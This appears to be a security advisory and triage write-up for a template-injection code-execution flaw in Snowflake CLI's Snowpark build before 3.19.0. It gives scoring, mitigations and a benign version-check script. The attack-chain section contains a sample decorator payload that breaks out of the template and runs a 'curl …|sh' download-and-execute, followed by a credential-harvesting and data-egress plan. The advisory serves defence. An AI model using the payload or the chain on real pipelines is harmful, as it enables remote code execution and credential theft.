A Snowflake build command that trusts the project it's building — and runs whatever the project tells it to
Snowflake CLI's snow snowpark build / nativeapp codegen snowpark pipeline scans Python source for Snowpark decorators (@udf, @sproc, etc.) and writes generator code from a callback template. Prior to 3.19.0, the annotation processor failed to neutralize attacker-controlled values pulled out of those decorators when interpolating them into the generated Python — a textbook CWE-94 template injection. Feed the CLI a Python file whose decorator arguments contain quote-breakouts and you get arbitrary code execution in the context of whoever ran the build. All Snowflake CLI builds < 3.19.0 are affected; 3.19.0 (released 2026-05-26) and later are patched.
Vendor's HIGH/8.8 is honest but slightly inflated by the AV:N tag. There is no listening service here — 'network' really means 'attacker-supplied content reaches the developer's box.' The UI:R requirement (a human or pipeline must actually invoke snow snowpark build) and the narrow installed base (Snowpark developers, not the whole Snowflake user population) argue for a small trim. But the role-multiplier in CI/CD and credentialed dev boxes is what holds this firmly in the HIGH bucket — see below.
5 steps from start to impact.
Plant a poisoned Snowpark project
@udf, @sproc, @vectorized) whose string arguments are crafted to break out of the callback template's string context — e.g., name="x\"); __import__('os').system('curl …|sh'); ('". Tools: any text editor; PoC pattern mirrors known Jinja/format-string injection generators.- Attacker can get a Python file into a path the victim will build
- Victim project uses Snowpark codegen / nativeapp pipeline
- Internal repos with mandatory code review catch the obvious payloads
- Most enterprises pin Snowpark templates to internal forks
Victim runs snow snowpark build or snow app codegen
.py that contains the injected payload verbatim.- Snowflake CLI < 3.19.0 installed
- Build executed against the malicious tree
- Many shops still use the older PyPI
snowflake-snowpark-pythonflow rather than thesnowCLI codegen - Pre-commit hooks rarely block decorator content
python -c / curl|sh child of snow.Generated stub is executed
snow — typically the developer, or the CI runner's service account.- Generated module is imported during build (it is, by design)
- Sandboxed CI (ephemeral containers, read-only FS) limits persistence — does not stop egress
Credential and token harvest
~/.snowflake/config.toml, SNOWFLAKE_* env vars, OAuth refresh tokens, and any AWS/GCP/Azure creds adjacent on the runner. Snowflake creds in particular often carry ACCOUNTADMIN or large warehouse rights for the project's prod account.- Runner has Snowflake credentials in env or on disk (almost always true for Snowpark CI)
- Workload-identity federation (no static creds) eliminates the file-on-disk path
- Snowflake key-pair auth with HSM-resident keys can't be exfiltrated, only abused live
LOGIN_HISTORY + QUERY_HISTORY from unexpected client IDs / IPs is the canonical detection.Pivot — Snowflake data egress or supply-chain push
SELECT * FROM … against production data, creates a malicious external function, or — if the compromised pipeline publishes a Snowpark package internally — implants a second stage in the build output so downstream consumers compromise themselves. This is the classic dev-tool → supply-chain promotion.- Compromised account has read or write on prod schemas, OR the pipeline publishes artifacts others consume
- Snowflake network policies (IP allowlist), MFA-on-token-refresh, and per-role data masking blunt mass egress
The supporting signals.
| In-the-wild exploitation | None observed as of 2026-06-30. No KEV entry, no reports from Mandiant/Unit42/Volexity. |
|---|---|
| Public PoC | No public PoC repo at disclosure. The class (template-injection in code-generators) is trivially reproducible — expect community PoCs within 2 weeks. |
| EPSS | Pre-scoring at disclosure; comparable dev-tool RCEs (CVE-2026-6442 Cortex Code CLI) seeded at ~0.15% / 35th percentile and crept up slowly. |
| KEV status | Not KEV-listed (2026-06-30). |
| CVSS v3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H → 8.8 HIGH. UI:R is doing a lot of work — there is no listening service. |
| Affected versions | Snowflake CLI < 3.19.0 (all 1.x, 2.x, 3.0–3.18.x). |
| Fixed version | 3.19.0 (2026-05-26). No distro backports — install via pip install --upgrade snowflake-cli or brew upgrade snowflake-cli. |
| Exposure population | No GreyNoise/Shodan signal (not a network-service bug). Installed base is Snowpark/Native-App developers — a low-thousands of orgs globally, but heavily weighted to data-platform teams with prod Snowflake credentials. |
| Disclosure | 2026-06-29 by Snowflake PSIRT, ~5 weeks after the silent fix shipped in 3.19.0. |
| Reporter | Credit per Snowflake security bulletin (internal discovery or coordinated researcher — confirm on the bulletin page). |
noisgate verdict.
Held at HIGH because the affected component sits on CI/CD runners and developer workstations that hold production Snowflake credentials — a single successful build promotes a dev-tool RCE into mass data egress or a supply-chain pivot. The UI:R + narrow installed-base friction shaves the score from 8.8 to 7.8 but cannot break the role-multiplier floor.
Why this verdict
- Vendor baseline fair: 8.8 reflects a real arbitrary-code-execution primitive in a developer pipeline; not inflated.
- Friction adjustment −0.5: UI:R + non-listening service + installed base limited to Snowpark developers narrows realistic exposure vs. a true unauth network RCE.
- Friction adjustment −0.5: Most internal Snowpark projects build from trusted-only source; the malicious-PR vector requires either weak code review or accepting external PRs into the build pipeline.
- Role multiplier — CI/CD runner: Chain succeeds; blast radius is the runner's Snowflake credentials (often ACCOUNTADMIN-equivalent for the project warehouse) and any downstream consumers of the published Snowpark artifact → fleet-scale data egress / supply-chain pivot. This is the floor-setting role.
- Role multiplier — developer workstation: Chain succeeds; blast radius is the developer's local Snowflake config plus any cloud-CLI creds on the box → tenant-scope compromise.
- Role multiplier — analyst laptop running ad-hoc
snow snowpark build: Chain succeeds but blast radius is limited to that user's role-scoped Snowflake credentials, no supply-chain leg.
Why not higher?
Not CRITICAL because (a) no listening network service — exploitation requires the victim to actively build attacker-controlled source, (b) the canonical Snowpark codegen footprint is a fraction of the Snowflake user base, not infrastructure-scale, and (c) no in-the-wild exploitation or public PoC at disclosure. Promote to CRITICAL only if a PoC drops AND your CI builds external-PR content.
Why not lower?
Not MEDIUM because the affected component canonically holds production Snowflake credentials on CI runners and lead-developer workstations; the role-multiplier floor for a credentialed data-plane pipeline is HIGH regardless of how narrow the trigger is. Friction reduces probability, not consequence.
What to do — in priority order.
- Upgrade Snowflake CLI to ≥ 3.19.0 fleet-wide — The only true fix. Push via
pip install --upgrade snowflake-cliin your dev-tooling baseline, brew formula bump, or the CI runner image rebuild. Per noisgate HIGH mitigation SLA, complete within 30 days; remediation (full version pin in lockfiles + image bake) within 180 days. - Block
snow snowpark build/snow app codegenfrom running on untrusted PR content in CI — Until upgrade lands, gate the build step ongithub.event.pull_request.head.repo.full_name == github.repository(no fork PRs), or run untrusted PRs in a network-isolated sandbox with no Snowflake credentials mounted. Deploy within 30 days of disclosure. - Rotate Snowflake credentials accessible from any CI runner that built untrusted source in the last 90 days — Assume worst-case if you accept external PRs. Rotate key-pair private keys, OAuth client secrets, and any
SNOWFLAKE_PASSWORDenv values; reissue from HSM where possible. - Enforce Snowflake network policies (
CREATE NETWORK POLICY) + MFA on all service users — Caps the blast radius if a token is stolen — exfiltrated creds become useless from an attacker IP. - Egress-allowlist CI runners — Outbound network from build runners should reach only your package registry, Snowflake endpoints, and source control. Stops the curl-pipe-sh stage cold.
- WAF / IPS rules — there is no network protocol to inspect; the malicious bytes arrive over git or pip.
- Snowflake-side row-level security — does not stop a credential-holder from running queries within their granted scope.
- EDR signatures for CVE-2026-13749 — vendors will not ship a signature for a template-injection class; rely on behavioral (unexpected child of
snow/python) instead. - SAST on the CLI repo — you need SAST on the *projects being built*, with rules targeting decorator-string content.
Crowdsourced verification payload.
Run on every developer workstation and CI runner that has Snowflake CLI installed. Invoke as bash check-cve-2026-13749.sh — no root required, just needs snow on PATH (or pip in the same venv).
#!/usr/bin/env bash
# check-cve-2026-13749.sh — Snowflake CLI Snowpark annotation processor RCE
# Exit codes: 0 PATCHED, 1 VULNERABLE, 2 UNKNOWN / not installed
set -u
FIXED_MAJOR=3
FIXED_MINOR=19
FIXED_PATCH=0
ver_raw=""
if command -v snow >/dev/null 2>&1; then
ver_raw="$(snow --version 2>/dev/null | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+' | head -n1)"
fi
if [ -z "$ver_raw" ]; then
# fall back to pip
if command -v pip >/dev/null 2>&1; then
ver_raw="$(pip show snowflake-cli 2>/dev/null | awk '/^Version:/ {print $2}')"
fi
fi
if [ -z "$ver_raw" ]; then
echo "UNKNOWN — Snowflake CLI not detected on this host"
exit 2
fi
IFS='.' read -r MAJ MIN PAT <<<"$ver_raw"
MAJ=${MAJ:-0}; MIN=${MIN:-0}; PAT=${PAT:-0}
vulnerable=0
if [ "$MAJ" -lt "$FIXED_MAJOR" ]; then
vulnerable=1
elif [ "$MAJ" -eq "$FIXED_MAJOR" ] && [ "$MIN" -lt "$FIXED_MINOR" ]; then
vulnerable=1
elif [ "$MAJ" -eq "$FIXED_MAJOR" ] && [ "$MIN" -eq "$FIXED_MINOR" ] && [ "$PAT" -lt "$FIXED_PATCH" ]; then
vulnerable=1
fi
if [ "$vulnerable" -eq 1 ]; then
echo "VULNERABLE — snowflake-cli $ver_raw (< 3.19.0) — CVE-2026-13749"
exit 1
fi
echo "PATCHED — snowflake-cli $ver_raw"
exit 0
If you remember one thing.
snow on every dev workstation and CI runner, push the 3.19.0 upgrade through your existing pip/brew/image baseline, and block fork-PR builds from invoking snow snowpark build until the upgrade lands. noisgate mitigation SLA: 30 days to deploy the compensating controls (PR gating + egress allowlists + credential rotation for any runner that built untrusted source). noisgate remediation SLA: 180 days to fully pin ≥ 3.19.0 in lockfiles, base images, and developer onboarding scripts. If a public PoC drops or you spot anomalous LOGIN_HISTORY from CI runner IPs, collapse both timelines to hours and treat as active exploitation.Sources
- Snowflake CLI 2026 release notes
- Snowflake Security Bulletins
- snowflakedb/snowflake-cli GitHub Releases
- Snowflake CVE landing — OpenCVE
- Snowflake Native App CVE guidance
- Related: CVE-2026-6442 Cortex Code CLI RCE (comparable dev-tool class)
- GHSA mirror for Snowflake CLI advisories
- CWE-94: Improper Control of Generation of Code
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.